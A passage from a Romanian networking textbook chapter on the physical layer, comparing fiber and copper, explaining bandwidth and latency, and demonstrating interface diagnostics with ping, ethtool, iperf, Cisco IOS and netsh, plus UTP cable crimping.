La nceputurile fibrei optice au existat preri conform crora n civa ani firele de cupru vor fi nlocuite n totalitate cu fibr optic. Acest lucru s-a dovedit greit. Printre avantajele pe care le prezint firele de cupru se numr: preul sczut, instalarea facil, faptul c nu necesit atenie sporit n utilizare. Aceste avantaje fac firele de cupru mediul ideal pentru cablri n reele mici i mijlocii, n interiorul cldirilor, unde nu se justific fibra optic. Printre dezavantajele majore ale firelor de cupru se numr: sunt susceptibile la interferene electrice i pot fi folosite pe distane relativ mici - oricum mult mai mici dect echivalentul lor n fibr optic. Fibra are multe avantaje. n primul rnd, lrgimea de band pe care o suport este mai mare dect a cuprului. Un singur cablu de fibr optic multi-mode (ce conine mai multe fibre) poate purta acum aproape 5 milioane de convorbiri telefonice simultane. Fibra are avantajul c nu este afectat de ocurile electrice, de interferena cmpului electromagnetic sau de cderile de tensiune. De asemenea, nu este afectat de substanele chimice corozive din aer, fiind ideal pentru mediile aspre din fabrici. Companiile de telefoane prefer fibra i din alt motiv: este subire i foarte uoar. Canalele cu cabluri sunt, n general, pline pn la refuz; prin nlocuirea cuprului cu fibr se golesc canalele, iar cuprul are o valoare foarte bun pe pia. n plus, 900 de cabluri torsadate de 1 km lungime cntresc 7250 kg. Un cablu ce conine 24 fibre i are aceeai capacitate cntrete doar 60 kg, acest lucru reducnd drastic necesitatea unor echipamente mecanice scumpe care trebuie ntreinute. n fine, fibrele optice introduc o atenuare neglijabil i sunt foarte dificil de interceptat. Acest lucru le ofer o excelent securitate. Motivul pentru care fibra este mai bun dect cuprul este intrinsec. Electronii n micare dintr-un cablu interacioneaz cu ali electroni i sunt influenai de ali electroni din afara cablului. Fotonii dintr-o fibr nu interacioneaz ntre ei i nu sunt afectai de fotonii din exterior.

38 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pe de alt parte, fibra este o tehnologie mai puin familiar i necesit o pregtire pe care muli ingineri nu o au. Terminarea fibrei (adic ataarea conectorilor) este un procedeu dificil care necesit mult pregtire i experien. De asemenea, fibra optic este suficient de pretenioas i, de aceea, necesit o utilizare mai atent dect cablul UTP (nu trebuie ndoit prea tare, clcat sau strns dup piciorul mesei, etc). Deoarece transmisia optic este prin natura ei unidirecional, comunicaiile bidirecionale necesit fie dou fibre, fie dou benzi de frecven diferite pe aceeai fibr. Nu n ultimul rnd, interfeele pentru fibr cost mult mai mult dect interfeele electrice. n tabelul urmtor se sintetizeaz asemnrile i deosebirile ntre fibra optic i cablul UTP. Criteriu Tip de semnal Lime de band Predispus la interferene Distan Cost Nivel de cunotiine pentru instalare Fibra optic Optic Mare Nu Lung Ridicat Ridicat Cablu UTP Electric Medie Da Scurt Sczut Sczut

Dei exist dezavantaje, este foarte probabil c n viitor toate comunicaiile de date pe lungimi mai mari de civa kilometri se vor face prin fibr optic.

1.2.4 Caracteristici ale mediilor de transmisie


n prezentarea semnalelor s-a menionat c performanele unei reele sunt direct legate de calitatea semnalului, care este dat de anumite caracteristici (laten, zgomot, atenuare). Pe lng calitatea semnalului, ali factori ce influeneaz o transmisie de date sunt caracteristicile mediului pe care se trimit semnalele.

Frecvena
Frecvena este, probabil, cel mai important parametru al mediului de transmisie. Ea este cea care arat cte semnale pot fi puse pe mediu n unitatea de timp aadar, care este cantitatea maxim de informaie ce ar putea fi transferat. n funcie de acest parametru se definesc metricile necesare msurrii performanei unei reele de calculatoare: limea de band i latena.

Limea de band (Throughput)


Termenul de lime de band (bandwidth) poate fi interpretat n dou feluri. Unul dintre sensuri este acela al diferenei dintre dou niveluri de frecven, adic dimensiunea unei benzi de frecven (msurat n Hertzi). Cel de-al doilea sens al termenului indic numrul maxim de bii transferai sau procesai n unitatea de timp. Cteva exemple de tehnologii i limea de band necesar sunt: Voce(VoIP) 0,1 Mbps Navigare pe Internet (Web) 5 Mbps Interaciuni video, jocuri, EoD (Entertaiment on Demand) , video conferine 10 Mbps HDTV, IPTV, VoD (Voice on Demand) 30 Mbps Dup cum se poate observa, n viitor, pentru a beneficia i de servicii HDTV, cerinele minime ale unei reele n ceea ce privete limea de band vor depi 50 Mbps.

N i v e l u l f i z i c | 39

Latena
Latena reprezint timpul necesar pentru ca un semnal (sau bit) s ajung din punctul A n punctul B. Aceasta este format de timpul de propagare n mediu, la care se adaug latena introdus de echipamente. Unitatea de msur folosit este milisecunda (ms). n general, timpul exprimat este timpul total parcurs pn la destinaie, la care se adaug i timpul de ntoarcere al rspunsului. Aceast metric poart numele de round-trip time (RTT).

Uniti de msur
Unitile de msur reprezint una dintre cele mai frecvente surse de erori n discuiile despre reelele de calculatoare. Erorile in att de unitile de msur propriu-zise, ct i de multiplii acestora. Prima confuzie apare n exprimarea vitezei de transfer. Capacitatea mediului de transmisie este msurat n bii pe secund, n vreme ce cantitatea de date transferat este cel mai adesea exprimat n octei pe secund. n plus, notaiile celor dou uniti de msur sunt foarte similare: n primul caz se folosete notaia bps, iar pentru transferul de date Bps. Atunci cnd un modem se conecteaz la 33,6 k, acetia sunt kbps, iar prin mprirea la 8 se obin 4,2 kiloBytes. n acest caz, dac fereastra browser-ului web arat o vitez de descrcare de 4 k, adic 4 kBytes, conexiunea este considerat de bun calitate. Cu toate acestea, se poate ntmpla ca viteza de transfer afiat s fie mai mare dect viteza modemului. Explicaia cea mai probabil a unei astfel de situaii este c datele transferate sunt necomprimate (fiiere text, spre exemplu, precum codul paginilor HTML) i modemul sau aplicaia de transfer realizeaz o compresie a acestora. Un alt factor n diferena dintre viteza mediului i viteza de transfer a datelor este cantitatea de informaie adugat de stiva de protocoale prin diferitele antete. Pentru o transmisie ce folosete TCP/IP peste Ethernet aceast informaie suplimentar variaz ntre 58 i 98 de octei, ceea ce pentru cadru de maxim 1500 de octei specificat de Ethernet nseamn c pn la 6,5% din informaia transferat nu e informaie util. Aceast valoare este i mai mare dac nu se folosesc doar pachete de dimensiune maxim. Altfel spus, pentru o reea Ethernet, dei aceasta dispune de o lime de band de 10 Mbps, viteza de transfer a datelor este de aproximativ 1,15 MBps. O a doua confuzie important apare n exprimarea multiplilor unitilor de msur. n transmisia de date un kilobit reprezint 1000 de bii, n vreme ce din punctul de vedere al sistemelor de operare un kilobit este compus din 1024 de bii. Noiunea de baud era folosit ca unitate de msur n exprimarea vitezei pentru transmisiile de date, n special pe legturile seriale. Numrul de bauzi indica numrul de schimbri pe secund ale strii mediului de transmisie (de schimbri ale nivelului de tensiune). ntruct o astfel de schimbare sesizat pe mediu poate fi interpretat nu doar ca un singur bit, ci i ca doi sau mai muli, n funcie de modularea folosit, unitatea de msur adecvat este cea de bps (bii pe secund).

Baseband i broadband
Termenii de baseband (n band de baz) i broadband (n band larg) descriu numrul de canale de comunicaie folosite pe un anumit mediu de transmisie. Cu alte cuvinte, pe un fir de cupru transmisia poate fi fcut pe un singur canal de comunicaie (cazul baseband) sau pe mai multe canale (cazul broadband). n cazul comunicaiei n band de baz, pe mediul de transmisie exist un sigur semnal. Acel semnal poate avea mai multe componente, ns din punct de vedere al firului de cupru sau al fibrei optice este un singur semnal (electric sau optic). De exemplu, n telefonia fix din Romnia mediul fizic de transmisie este alctuit din dou fire torsadate. Semnalul este vocea uman transmis prin intermediul telefonului; n cazul n care este folosit un modem pentru dial-up, semnalul const din datele transmise de calculator. Acest sistem de comunicaie este de tip baseband, deoarece cele dou comunicaii nu pot avea loc simultan. Dac ns se utilizeaz o conexiune DSL, atunci pe acelai mediu fizic pot fi realizate simultan i telefonie i transmisie de date.

40 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n cazul comunicaiei n band larg, pe acelai mediu fizic exist mai multe canale de comunicaie independente, multiplexate ntr-un singur semnal broadband. Un exemplu de transmisie broadband foarte des ntlnit este CaTV. CaTV (Community Antenna Television) este, de fapt, sistemul de televiziune prin cablu comun. Principiul de funcionare este simplu: multiplexarea n frecven. Fiecare canal de televiziune are alocat o band de frecven de 6 MHz. Firma de televiziune prin cablu recepioneaz practic posturile TV de la diferite surse, prin diferite metode (cablu de cupru, fibr optic, antene radio) i compune aceste semnale independente ntr-un singur semnal broadband, folosind o tehnic optimizat de multiplexare n frecven. Acest semnal broadband este trimis pe cablul coaxial ce ajunge acas, n televizor. Acesta, la rndul sau, utilizeaz un demultiplexor ce separ semnalul broadband primit n canalele independente iniiale. Caracteristicile conexiunilor broadband se redefinesc n permanen, odat cu trecerea timpului, i variaz n funcie de ar. n 2004, spre exemplu, o conexiune broadband n Anglia trebuie s ofere minim 2 Mbps, n Germania i Statele Unite serviciile boadband ncep de la 4 Mbps, n vreme ce n Japonia majoritatea furnizorilor de servicii broadband ofer minim 20 Mbps.

1.2.5 Interfee de mare vitez


n paragrafele anterioare s-a descris folosirea modulrilor prezente n standardele de transmisie a datelor la viteze de 100Mbps (IEEE 802.3u [1]) i de 1Gbps (IEEE 802.3ab [2] UTP i IEEE 802.3z [3] fibr optic). Dei majoritatea calculatoarelor vin echipate cu astfel de interfee, acestea nu sunt nici pe departe cele mai mari viteze ce se pot atinge n comunicaiile dintr-o reea. nc din anul 2002 s-a scris primul standard 10 gigabit Ethernet: IEEE 802.3ae [4] (10GE sau 10GbE sau 10GigE). Acest standard oferea comunicaii de 10gbps numai pe fibr optic. n 2006 a fost publicat standardul IEEE 802.3an [5], ce oferea suport pentru transmisia la 10Gbps pe un cablu UTP. Echipamentele necesare transmisiei la 10Gbps vin sub forma unor plci de reea pe cupru (mai rar, dar exist) i preponderent pe fibr optic, sub forma unor convertoare (SFP+ [6] enhanced small form-factor pluggable; XFP [7] 10 Gigabit Small Form Factor Pluggable; XENPACK [8]). Necesitatea unei legturi de o asemenea vitez n LAN este redus. Astfel, tehnologia de transmisie a datelor la viteze de 10Gbps este preponderent folosit n WAN. Nici interfeele de 10Gbps nu sunt cele mai rapide. La ora actual, viteza cea mai mare de transmisie pe o interfa este de 100Gbps, asigurat de standardul IEEE 802.3ba [9]. Acesta a fost prima dat publicat n Noiembrie 2007, fiind rectificat n 2010. Ca i cel de 10Gbps, acesta se adreseaz n primul rnd ISP-urilor (Internet Service Provider), deci va fi o tehnologie aplicat exclusiv n WAN.

1.3 Utilitare pentru gestiunea nivelului fizic


n acest subcapitol se vor prezenta utilitare prin care se identific starea unei interfee n sistemul de operare i utilitarea pentru msura performanelor unei reele de calculatoare (lantea i limea de band). Vor fi abordate sistemele bazate pe Linux, Cisco IOS i Windows.

ping
ping este un utilitar cu ajutorul cruia se poate msura latena pn la o anumit destinaie. Acesta exist pe aproape orice sistem de operare, iar modul lui de folosire este identic.
root@HQ:~# ping www.google.ro PING www-cctld.l.google.com (173.194.39.183) 56(84) bytes of data. 64 bytes from bud01s13-in-f23.1e100.net (173.194.39.183): icmp_seq=1 64 bytes from bud01s13-in-f23.1e100.net (173.194.39.183): icmp_seq=2 64 bytes from bud01s13-in-f23.1e100.net (173.194.39.183): icmp_seq=3 64 bytes from bud01s13-in-f23.1e100.net (173.194.39.183): icmp_seq=4 ^C --- www-cctld.l.google.com ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 19.377/19.504/19.709/0.211 ms ttl=58 ttl=58 ttl=58 ttl=58 time=19.7 time=19.3 time=19.4 time=19.4 ms ms ms ms

N i v e l u l f i z i c | 41 Comanda ping, prezentat mai sus, a fost executat pe un sistem de operare Linux. Se poate observa latena (n jur de 19 milisecunde[ms]) pn la site-ul Google. Pe Linux, utilitarul ruleaz continuu, pn cnd este ntrerupt de un semnal (Ctrl-C).

1.3.1 Linux
Pentru a obine informaii suplimentare legate de opiunile utilitarelor prezentate, folosii paginile de manual (man nume_utilitar).

ethtool
ethtool permite vizualizarea informaiilor despre o interfa. ATENIE: Trebuie rulat cu drepturi privilegiate. Sintaxa este: ethtool nume_interfa.
root@HQ:~# ethtool eth1 Settings for eth1: Supported ports: [ TP MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Supports auto-negotiation: Yes Advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Advertised pause frame use: No Advertised auto-negotiation: Yes Link partner advertised link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Link partner advertised pause frame use: No Link partner advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: MII PHYAD: 1 Transceiver: internal Auto-negotiation: on Supports Wake-on: g Wake-on: g Current message level: 0x00000007 (7) Link detected: yes

Se pot observa capabilitile plcii de reea, viteza la care este conectat (Speed) i, foarte important, dac exist sau nu legtur fizic (Link detected). Pentru a vedea statistici despre numrul total de pachete, cte pierderi, erori sau coliziuni s-au nregistrat, se poate folosi opiunea S:
root@HQ:~# ethtool -S eth1 NIC statistics: rx_packets: 68625100 tx_packets: 39262738 rx_bytes: 75252154165 tx_bytes: 6539536573 rx_errors: 31 [...]

Pe lng vizualizarea diferitelor informaii, ethtool permite configurarea parametrilor ce in de nivelul fizic al unei plci de reea, folosind opiunea s (atenie este s mic, diferit de S mare, prin care vizualizm statisticile) i cuvintele cheie corespunztoare: viteza de transmisie speed X, modul duplex full (transmisia i recepia se fac simultan) sau half (transmisia i recepia sunt serializate) duplex half|full, activarea autonegocierii (protocol prin care se negociaz cu echipamentul de interconectare viteza de tranmisie) autoneg on|off. Vom modifica viteza interfeei la 10Mbps. Pentru acest lucru trebuie s dezactivm i autonegocierea, altfel va fi negociat tot viteza de 100mbps cu dispozitivul de interconectare:
root@HQ:~# ethtool -s eth1 speed 10 root@HQ:~# ethtool eth1|grep Speed Speed: 100Mb/s root@HQ:~# ethtool -s eth1 autoneg off root@HQ:~# ethtool eth1 | grep Speed Speed: 100Mb/s root@HQ:~# ethtool -s eth1 speed 10 root@HQ:~# ethtool eth1 | grep Spe Speed: 10Mb/s

42 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Se pot configura mai muli parametri simultan (dezactivm autonegocierea i setm pe halfduplex transmisia):
root@HQ:~# ethtool -s eth1 autoneg off duplex half root@HQ:~# ethtool eth1 | grep Duplex Duplex: Half

lspci
Cu ajutorul lui lspci putem vizualiza toate dispozitivele conectate la magistralele sistemului. Plcile de reea sunt prefixate cu Ethernet controller (pentru tehnologia Ethernet):
root@HQ:~# lspci [...] 00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map 00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller 00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control 01:06.0 Ethernet controller: Intel Corporation 82557/8/9/0/1 Ethernet Pro 100 (rev 0c) 01:07.0 Ethernet controller: Intel Corporation 82557/8/9/0/1 Ethernet Pro 100 (rev 0c)

Pentru a obine mai multe informaii (cum se poate adresa, ce driver este folosit, etc.), se poate folosi opiunea v:
root@HQ:~# lspci -v [...] 01:06.0 Ethernet controller: Intel Corporation 82557/8/9/0/1 Ethernet Pro 100 (rev 0c) Subsystem: Intel Corporation Device 0040 Flags: bus master, medium devsel, latency 64, IRQ 16 Memory at fdeff000 (32-bit, non-prefetchable) [size=4K] I/O ports at bc00 [size=64] Memory at fdea0000 (32-bit, non-prefetchable) [size=128K] [virtual] Expansion ROM at fdf00000 [disabled] [size=64K] Capabilities: <access denied> Kernel driver in use: e100 Kernel modules: e100 [...]

Se poate observa c driverul folosit este e100 (Kernel driver in use), porturile de transmisie/recepie se gsesc la adresa bc100 (I/O ports at), etc.

iperf
iperf este un utilitar client-server, cu ajutorul cruia putem genera trafic, realiznd msurtori ale vitezei de transmisie. Serverul se pornete cu opiunea s. n mod standard, portul pe care ascult serverul este portul 5001 al protocolului TCP. Dup caz, portul poate fi schimbat, folosind opiunea p, iar protocolul poate fi modificat la UDP cu u. Clientul se pornete adugnd parametrul c, urmat de adresa serverului la care se va conecta, portul specificndu-se la fel ca la server. Mai nti trebuie pornit serverul i pe urm clientul, altminteri clientul se va ntoarce cu eroare deoarece nu ateapt nimeni conexiuni pe portul respectiv. Mai jos este un exemplu de transfer, pe portul 5002 al protocolului TCP: serverul se ruleaz folosind opiunea s (server), iar portul se configureaz cu p (port).
root@HQ:~# iperf -s -p 5002 -----------------------------------------------------------Server listening on TCP port 5002 TCP window size: 85.3 KByte (default) ------------------------------------------------------------

clientul se ruleaz folosind parametrul c (client), urmat de adresa serverului la care se conecteaz. Portul se specific la fel ca la server.

root@BR:~# iperf -c 86.122.60.17 -p 5002 -----------------------------------------------------------Client connecting to 86.122.60.17, TCP port 5002 TCP window size: 49.7 KByte (default) -----------------------------------------------------------[ 3] local 85.122.50.5 port 45827 connected with 86.122.60.17 port 5002 [ ID] Interval Transfer Bandwidth [ 3] 0.0-10.0 sec 33.1 MBytes 26.9 Mbits/sec

N i v e l u l f i z i c | 43 Se observ c s-a realizat conexiunea ntre serverul cu adresa 86.122.60.17 i portul 5002 i clientul cu adresa 85.122.50.5 i portul 45827. Viteza obinut n urma unui transfer de 33.1 MBytes (megabytes sau megaoctei), ce a durat 10 secunde (0.00-10.0sec) este de 26.9 Mbits/sec (megabii pe secund).

1.3.2 Cisco IOS


Pe IOS exist echivalentul nivelului privilegiat din Linux. Pentru a trece din modul normal n modul privilegiat (global), se folosete comanda enable (se observ cum se schimb prompt-ul din > n #). Din modul global (HQ#) nu se pot executa dect comenzi de vizualizare/inspectare (n general comenzile care ncep cu show). Pentru a putea face configuraii, trebuie activat modul de configurare, folosind comanda configure terminal. Pentru a ne ntoarce la modurile anterioare, putem folosi comanda exit.
HQ>enable HQ# HQ#configure terminal Enter configuration commands, one per line. HQ(config)# HQ(config)#exit HQ#

End with CNTL/Z.

Pe echipamentele Cisco aflm toate informaiile despre o interfa folosind comanda show interface din nivelul global. Trebuie precizat c pe IOS, orice comand poate fi prescurtat la un numr arbitrar de litere, cu condiia s nu mai existe alt comand ce ncepe cu acele litere. De exemplu, o form acceptat pentru show interfaces este sh int sau sh interfaces. Rularea comenzii show interfaces fr niciun parametru va duce la afiarea tuturor interfeelor, mpreun cu detalii despre acestea. Pentru a selecta doar o interfa, comanda poate fi succedat de numele interfeei:
HQ#sh interfaces fastEthernet 0/1 FastEthernet0/1 is administratively down, line protocol is down (disabled) Hardware is Lance, address is 0001.97a3.0702 (bia 0001.97a3.0702) MTU 1500 bytes, BW 100000 Kbit, DLY 100 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set ARP type: ARPA, ARP Timeout 04:00:00, Last input 00:00:08, output 00:00:05, output hang never Last clearing of "show interface" counters never Input queue: 0/75/0 (size/max/drops); Total output drops: 0 Queueing strategy: fifo Output queue :0/40 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 0 input packets with dribble condition detected 0 packets output, 0 bytes, 0 underruns 0 output errors, 0 collisions, 2 interface resets 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier 0 output buffer failures, 0 output buffers swapped out

Se poate observa starea interfeei (aceasta este nchis: is ... down). Line protocol is down nseamn c protocolul de nivel 2 (legtur de date) este nchis. De asemenea, sunt prezentate statistici despre traficul pe interfa (numr de pachete, erori, etc.). n Cisco IOS exist noiunea de help prin folosirea semnului ntrebrii (?) la finalul unei pri dintr-o comand. Dac dorim s vizualizm ce opiuni exist pentru comanda show interfaces, vom executa show interfaces ?:
HQ#show interfaces ? Dot11Radio Dot11 interface Ethernet IEEE 802.3 FastEthernet FastEthernet IEEE 802.3 GigabitEthernet GigabitEthernet IEEE 802.3z Loopback Loopback interface Serial Serial Tunnel Tunnel interface Virtual-Access Virtual Access interface

44 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Virtual-Template Vlan switchport trunk Virtual Template interface Catalyst Vlans Show interface switchport information Show interface trunk information

Mai departe, dac dorim s vedem ce opiuni exist pentru show FastEthernet:
HQ#show interfaces FastEthernet ? <0-9> FastEthernet interface number

interfaces

1.3.3 Windows
Pentru a putea vizualiza starea interfeelor pe Windows, folosim utilitarul netsh:
C:\Windows\system32>netsh interface show interface Admin State State Type Interface Name ------------------------------------------------------------------------Enabled Disconnected Dedicated Local Area Connection Enabled Connected Dedicated VMware Network Adapter VMnet1 Enabled Connected Dedicated VMware Network Adapter VMnet8 Enabled Connected Dedicated Wireless Network Connection Enabled Disconnected Dedicated Wireless Network Connection 2

Se pot filtra informaiile afiate, dup numele interfeei:


C:\Windows\system32>netsh interface show interface name="Local Area Connection" Local Area Connection Type: Dedicated Administrative state: Enabled Connect state: Disconnected

1.4 Scenarii de utilizare


Administratorul unei reele are un switch n infrastructura pe care o administreaz, al crui port a rmas blocat n modul half-duplex. Orice dispozitiv conectat la el va avea acces la reea, doar dac are portul configurat manual n modul half-duplex, deoarece nici autoneogicierea nu mai funcioneaz corespunztor. Bineneles, acest lucru atrage dup sine, numeroase dezavantaje. ntruct switch-ul nu mai are alte porturi libere, pn la achiziionarea unuia nou aceasta este singura soluie prin care putem oferi acces staiei respective. n cele ce urmeaz, vom analiza problemele ce apar.
Sw9

2 2 8

3
Sw3

3
Sw2

2
BR

M 3
ISP

7 A

1 B 3 4

4
Sw1

4 2 1

1
Sw7

9
Sw8

2 3

2 3

4
HQ

4 D

8 E

29 F 21 4 W

1-30 Infrastructur reea

N i v e l u l f i z i c | 45 n Fig. 1-30 este reprezentat ntreaga infrastructur. Switch-ul cu problemele menionate este Sw9, pe portul 7, cel la care este conectat staia A. Pentru a vedea cum afecteaz performanele legtura half-duplex a staiei A, vom folosi staiile A i B, ambele rulnd sistemul de operare Linux. Ambele staii folosesc interfaa eth0 pentru conexiunea la Sw9. Vom trece interfaa staiei A n mod half-duplex, fr autonegociere, pentru a avea acces la reea (conform problemei descrise):
root@A:~# ethtool eth0 | grep "Link detected" Link detected: no root@A:~# ethtool -s eth0 duplex half autoneg off root@A:~# ethtool eth0 | grep Duplex Duplex: Half root@A:~# ethtool eth0 | grep "Link detected" Link detected: yes root@A:~# ethtool eth0 | grep Speed Speed: 100Mb/s

Se observ c legtura este activ, viteza de conectare fiind de 100Mbps. Pentru a msura viteza de transmisie, vom porni iperf, ntre staia A (adresa 172.16.5.153) i staia B (adresa 172.16.6.107). Pe staia B se pornete serverul iperf, folosind optiunea s (server):
root@B:~# iperf -s -----------------------------------------------------------Server listening on TCP port 5001 TCP window size: 85.3 KByte (default) ------------------------------------------------------------

Pe staia A se execut comanda iperf, specificnd parametrul c (s ruleze n mod client) i adresa serverului (staia B - 172.16.6.107). Portul folosit va fi cel implicit (5001).
root@A:~# iperf -c 172.16.6.107 -----------------------------------------------------------Client connecting to 172.16.6.107, TCP port 5001 TCP window size: 16.0 KByte (default) -----------------------------------------------------------[ 3] local 172.16.5.153 port 57836 connected with 172.16.6.107 port 5001 [ ID] Interval Transfer Bandwidth [ 3] 0.0-10.1 sec 116 MBytes 96.2 Mbits/sec

Se observ c viteza obinut (96.2 Mbits/sec) este aproape de viteza plcii de reea. Vom rula din nou clientul, adugnd parametrul suplimentar d (dual). Acest parametru va realiza transfer de informaie ntre client i server, n ambele sensuri, simultan.
root@A:~# iperf -c 172.16.6.107 -d -----------------------------------------------------------Server listening on TCP port 5001 TCP window size: 85.3 KByte (default) ----------------------------------------------------------------------------------------------------------------------Client connecting to 172.16.6.107, TCP port 5001 TCP window size: 67.1 KByte (default) -----------------------------------------------------------[ 5] local 172.16.5.153 port 57838 connected with 172.16.6.107 port 5001 [ 4] local 172.16.5.153 port 5001 connected with 172.16.6.107 port 54163 [ ID] Interval Transfer Bandwidth [ 4] 0.0-10.0 sec 95.6 MBytes 79.8 Mbits/sec [ 5] 0.0-10.1 sec 2.62 MBytes 2.18 Mbits/sec

Suma vitezelor obinute n cazul transmisiei simultane, n ambele direcii, nu depete pragul de 100mbps (viteza plcii) i viteza ntr-o direcie a sczut. De asemenea, se observ coliziunile aprute, folosind statisticile utilitarului ethtool:
root@A:~# ethtool -S eth0 | grep collision collisions: 23393

Se va rula clientul iperf cu opiunea -d, de pe staia C (adresa 172.16.5.160), care este conectat la reea, printr-o legtur fr probleme.
root@C:~# ethtool eth0 | grep Speed Speed: 100Mb/s root@C:~# ethtool eth0 | grep Duplex Duplex: Full root@C:~# ethtool eth0 | grep Auto

46 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Auto-negotiation: on root@C:~# iperf -c 172.16.6.107 -d -----------------------------------------------------------Server listening on TCP port 5001 TCP window size: 85.3 KByte (default) ----------------------------------------------------------------------------------------------------------------------Client connecting to 172.16.6.107, TCP port 5001 TCP window size: 86.8 KByte (default) -----------------------------------------------------------[ 5] local 172.16.5.160 port 57837 connected with 172.16.6.107 port 5001 [ 4] local 172.16.5.160 port 5001 connected with 172.16.6.107 port 54162 [ ID] Interval Transfer Bandwidth [ 5] 0.0-10.0 sec 111 MBytes 93.2 Mbits/sec [ 4] 0.0-10.2 sec 98.9 MBytes 81.6 Mbits/sec

Se poate observa c viteza nsumat pe ambele direcii ajunge n jurul valorii de 180Mbps. Acesta este beneficiul unei legturi full-duplex: se pot transfera informaii n ambele direcii, simultan, la viteza plcii de reea. n cazul unei legturi half-duplex, transmisia i recepia sunt serializate, viteza limitndu-se la maximul plcii de reea. Se observ i lipsa coliziunilor pe serverul (B) i pe clientul (C) conectai pe legturi full-duplex:
root@B:~# ethtool -S eth0 | grep collisions collisions: 0

root@C:~# ethtool -S eth0 | grep collisions collisions: 0

Aadar, o legtur half-duplex njumtete viteza de transmisie i introduce coliziuni (vezi capitolul Reele Ethernet) pe conexiunea respectiv.

1.5 Studiu de caz


Sertizarea cablului UTP
Pentru sertizarea unui cablu UTP CAT5 este necesar un clete de sertizat i un conector 8P8C (numit i RJ45). Prima operaie const n nlturarea izolaiei din jurul firelor din cablu. Trebuie acordat o atenie deosebit la detorsadarea firelor: atunci cnd se ndeprteaz manonul de plastic i se detorsadeaz perechile pentru a putea introduce firele n muf, trebuie ca bucata de cablu detorsadat sa fie ct mai mic. n caz contrar va aprea o interferen ntre fire ce produce efectul de crosstalk. Practic, se taie 3-4 cm din manon, se detorsadeaz firele, se aranjeaz n ordinea dorit, iar apoi, cu ajutorul unor lame ale cletelui de sertizat, se taie firele astfel nct dimensiunea zonei neizolate s reprezinte aproximativ din lungimea mufei. n acest fel, firele vor ajunge pn n captul mufei asigurnd un contact electric perfect, iar bucata detorsadat va fi aproape inexistent, minimiznd riscul apariiei crosstalk-ului. Mufele RJ-45, folosite pentru terminarea cablurilor UTP, conin 8 lcauri n care trebuie aduse cele 8 fire. Pinii conectorului sunt nite lamele metalice care, iniial, se afl deasupra lcaului, pentru ca firul de cupru s poat intra. Prin folosirea cletelui de sertizat lamelele sunt mpinse n lcaurile unde se gsesc firele. Prin apsare, lamelele vor strpunge firul de cupru, realizndu-se astfel contactul electric. Pentru realizarea unui patch UTP straight-through firele trebuie s se gseasc n ambii conectori, fie n ordinea impus de T568A, fie T568B. Acelai standard trebuie respectat i la un capt i la cellalt. Pentru realizarea unui patch UTP crossover perechea verde dintr-un capt este inversat cu perechea portocalie din cellalt. Cu alte cuvinte, una din terminaii respect T568A, cealalt T568B. Pentru realizarea unui patch UTP rollover, se sertizeaz un capt al cablului folosind unul dintre standarde, iar la cellalt capt firele se aeaz n ordine invers (n oglind) pinul 1 va corespunde pinului 8, pinul 2 va corespunde pinului 6, etc. Ordinea firelor pentru cele dou standarde se regsete n Fig. 1-31. Dac nu se respect standardul, exist un risc major ca cele dou fire folosite pentru Rx sau Tx s nu fac parte din aceeai pereche, i s nu-i mai anuleze reciproc cmpurile electrice. Practic, torsadarea nu mai

N i v e l u l f i z i c | 47 acioneaz corect si sunt generate interferene ce altereaz semnalul electric. (Cu alte cuvinte, ori nu va merge, ori va merge extrem de prost!)

1-31 Standarde de mufare (T568B T568A) n general, n Europa se folosete standardul 568B, iar n Statele Unite 568A. De ce este important de tiut i de respectat acest lucru? Teoretic, nu conteaz care din acest standard este utilizat att timp ct ambele mufe (de la cele dou capete) sunt fcute folosind acelai standard. Practic ns, la construirea i administrarea unei reele de mari dimensiuni lucreaz muli oameni, care nu ntotdeauna comunic ntre ei. Aadar, pentru reducerea erorilor umane este necesar respectarea aceluiai standard.

1.6 Concluzii
n acest capitol am artat rolurile nivelului fizic n transmisia de date ntr-o reea de calculatoare. Datele pot fi analogice (caz n care nu pot fi reprezentate complet dect cu o precizie infinit precum vocea uman) sau digitale (adic sunt cuantificabile, reprezentate printr-un numr finit de numere precum un fiier text). Unitatea de msur a datelor digitale este bitul. Datele sunt trimise n reea folosind semnale analogice sau digitale. Semnalele analogice sunt folosite prin varierea parametrilor: amplitudinea, frecvena i faza. Pentru a trimite date folosind semnale digitale, se folosesc diferite codificri (Manchester, Manchester Diferenial, NRZ-I, NRZ-L, MLT-3, PAM-5). Se pot folosi semnale analogice i pentru a trimite date digitale. Aceast metod poart numele de modulaie. Mediile de transmisie folosite sunt cablul de cupru (prin impulsuri electrice), fibra optic (prin impulsuri luminoase) i aerul (vezi capitolul Wireless). Cablurile de cupru pot fi coaxiale (care actualmente nu se mai folosesc n reelele de calculatoare, ci numai n reelele de televiziune) i torsadate. Firele din cablu sunt torsadate dou cte dou (adic mpletite unul cu altul) pentru a anula diferite interferene. Torsadarea este eficient deoarece interferenele afecteaz n mod egal ambele fire. O deosebire important ntre fibra optic i cablul de cupru este faptul c fibra nu este predispus la interferene. Astfel, aceasta se folosete cu preponderen n exterior. Un dezavantaj al fibrei este costul i manevrabilitatea sczut: este destul de greu de realizat o cablare structurat, numai pe fibr optic, n interiorul unei cldiri. Limea de 